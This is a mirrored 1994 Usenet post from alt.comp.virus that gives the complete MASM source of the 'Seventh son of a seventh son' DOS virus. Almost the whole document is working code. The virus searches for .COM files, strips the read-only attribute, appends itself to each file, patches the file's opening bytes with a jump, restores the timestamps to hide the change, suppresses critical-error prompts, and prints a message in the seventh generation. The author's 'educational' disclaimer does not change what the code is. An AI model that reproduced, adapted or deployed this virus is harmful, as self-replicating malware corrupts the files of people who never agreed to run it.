mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
252 lines
7.1 KiB
NASM
252 lines
7.1 KiB
NASM
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:42:48 1994
|
||
Xref: netcom.com alt.comp.virus:506
|
||
Path: netcom.com!ix.netcom.com!netnews
|
||
From: Zeppelin@ix.netcom.com (Mr. G)
|
||
Newsgroups: alt.comp.virus
|
||
Subject: 7th Son Virus
|
||
Date: 29 Nov 1994 13:02:59 GMT
|
||
Organization: Netcom
|
||
Lines: 236
|
||
Distribution: world
|
||
Message-ID: <3bf8q3$iaj@ixnews1.ix.netcom.com>
|
||
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
|
||
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
|
||
|
||
;***********************************************************************
|
||
*****
|
||
;* Seventh son of a seventh son version 4
|
||
;*
|
||
;* Compile with MASM 4.0
|
||
;* (other assemblers will probably not produce the same result)
|
||
;*
|
||
;* Disclaimer:
|
||
;* This file is only for educational purposes. The author takes no
|
||
;* responsibility for anything anyone does with this file. Do not
|
||
;* modify this file!
|
||
;***********************************************************************
|
||
*****
|
||
|
||
cseg segment
|
||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||
|
||
.RADIX 16
|
||
|
||
FILELEN equ end - start
|
||
MINTARGET equ 1000d
|
||
MAXTARGET equ -(FILELEN+40)
|
||
|
||
|
||
|
||
;***********************************************************************
|
||
*****
|
||
;* Dummy program (infected)
|
||
;***********************************************************************
|
||
*****
|
||
|
||
org 100
|
||
|
||
begin: db 4Dh ;virus mark
|
||
db 0E9h, 4, 0 ;jump to virus entry
|
||
|
||
|
||
;***********************************************************************
|
||
*****
|
||
;* Begin of the virus
|
||
;***********************************************************************
|
||
*****
|
||
|
||
start: db 0CDh, 20h, 0, 0
|
||
|
||
cld
|
||
mov si,0100h
|
||
push si ;push new IP on stack
|
||
mov di,si
|
||
add si,[si+2] ;si -> start
|
||
|
||
push si ;restore original begin
|
||
movsw
|
||
movsw
|
||
pop si
|
||
|
||
mov ax,3300h ;get ctrl-break flag
|
||
int 21
|
||
push dx
|
||
|
||
cwd ;clear the flag
|
||
inc ax
|
||
push ax
|
||
int 21
|
||
|
||
mov ax,3524h ;get int24 vector
|
||
int 21
|
||
push bx
|
||
push es
|
||
|
||
lea dx,[si+(offset ni24 - 0104)] ;set new int24
|
||
vector
|
||
mov ah,25h
|
||
push ax
|
||
int 21
|
||
|
||
mov ah,2Fh ;get DTA adres
|
||
int 21
|
||
push es
|
||
push bx
|
||
|
||
add dx,070h ;set new DTA adres
|
||
mov ah,1Ah
|
||
int 21
|
||
add dx,1Eh
|
||
push dx
|
||
|
||
lea di,[si+(offset generation-0104)] ;check
|
||
generation
|
||
cmp [di],0707h
|
||
jne verder
|
||
|
||
lea dx,[di+2] ;7th son of a 7th son!
|
||
mov ah,09h
|
||
int 21
|
||
|
||
verder: mov ax,[di] ;update generations
|
||
xchg ah,al
|
||
mov al,1
|
||
mov [di],ax
|
||
|
||
lea dx,[di+33d] ;find first COM-file
|
||
xor cx,cx
|
||
mov ah,4Eh
|
||
infloop: int 21
|
||
pop dx
|
||
jc stop
|
||
|
||
push dx
|
||
|
||
xor cx,cx ;clear
|
||
read-only-arttribute
|
||
mov ax,4301
|
||
int 21
|
||
jc return1
|
||
|
||
mov ax,3D02h ;open the file
|
||
int 21
|
||
jc return1
|
||
xchg bx,ax
|
||
|
||
mov ax,5700h ;get file date & time
|
||
int 21
|
||
push cx
|
||
push dx
|
||
|
||
mov cx,4 ;read begin of file
|
||
mov dx,si
|
||
mov ah,3fh
|
||
int 21
|
||
|
||
cmp byte ptr [si],4Dh ;already infected or an
|
||
EXE?
|
||
je return2
|
||
cmp byte ptr [si],5Ah ;or a weird EXE?
|
||
je return2
|
||
|
||
mov al,2 ;go to end of file
|
||
call seek
|
||
|
||
cmp ax,MAXTARGET ;check length of file
|
||
jnb return2
|
||
cmp ax,MINTARGET
|
||
jbe return2
|
||
|
||
push ax
|
||
mov cx,FILELEN ;write program to end of
|
||
file
|
||
mov ah,40h
|
||
int 21
|
||
cmp ax,cx ;are all bytes written?
|
||
pop ax
|
||
jnz return2
|
||
|
||
xchg ax,bp
|
||
mov al,0 ;go to begin of file
|
||
call seek
|
||
|
||
mov word ptr [si],0E94Dh ;write mark and
|
||
jump-command
|
||
mov word ptr [si+2],bp
|
||
mov ah,40h
|
||
int 21
|
||
|
||
inc byte ptr [di] ;number of next son
|
||
|
||
return2: pop dx ;restore file date &
|
||
time
|
||
pop cx
|
||
mov ax,5701h
|
||
int 21
|
||
|
||
mov ah,3Eh ;close the file
|
||
int 21
|
||
|
||
return1: mov ah,4Fh ;find next file
|
||
jmp short infloop
|
||
|
||
stop: pop dx ;restore DTA adres
|
||
pop ds
|
||
mov ah,1Ah
|
||
int 21
|
||
|
||
pop ax ;restore int24 vector
|
||
pop ds
|
||
pop dx
|
||
int 21
|
||
|
||
pop ax ;restore ctrl-break flag
|
||
pop dx
|
||
int 21
|
||
|
||
push cs
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
|
||
ret
|
||
|
||
seek: mov ah,42
|
||
cwd
|
||
int21: xor cx,cx
|
||
int 21
|
||
mov cl,4
|
||
mov dx,si
|
||
ret
|
||
|
||
|
||
;***********************************************************************
|
||
*****
|
||
;* Interupt handler 24
|
||
;***********************************************************************
|
||
*****
|
||
|
||
ni24: mov al,03
|
||
iret
|
||
|
||
|
||
;***********************************************************************
|
||
*****
|
||
;* Data
|
||
;***********************************************************************
|
||
*****
|
||
|
||
generation db 1,1
|
||
sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$'
|
||
filename db '*.COM',0
|
||
db '<27><><EFBFBD><EFBFBD><EFBFBD>'
|
||
|
||
end:
|
||
|
||
cseg ends
|
||
end begin
|
||
|
||
|
||
|
||
|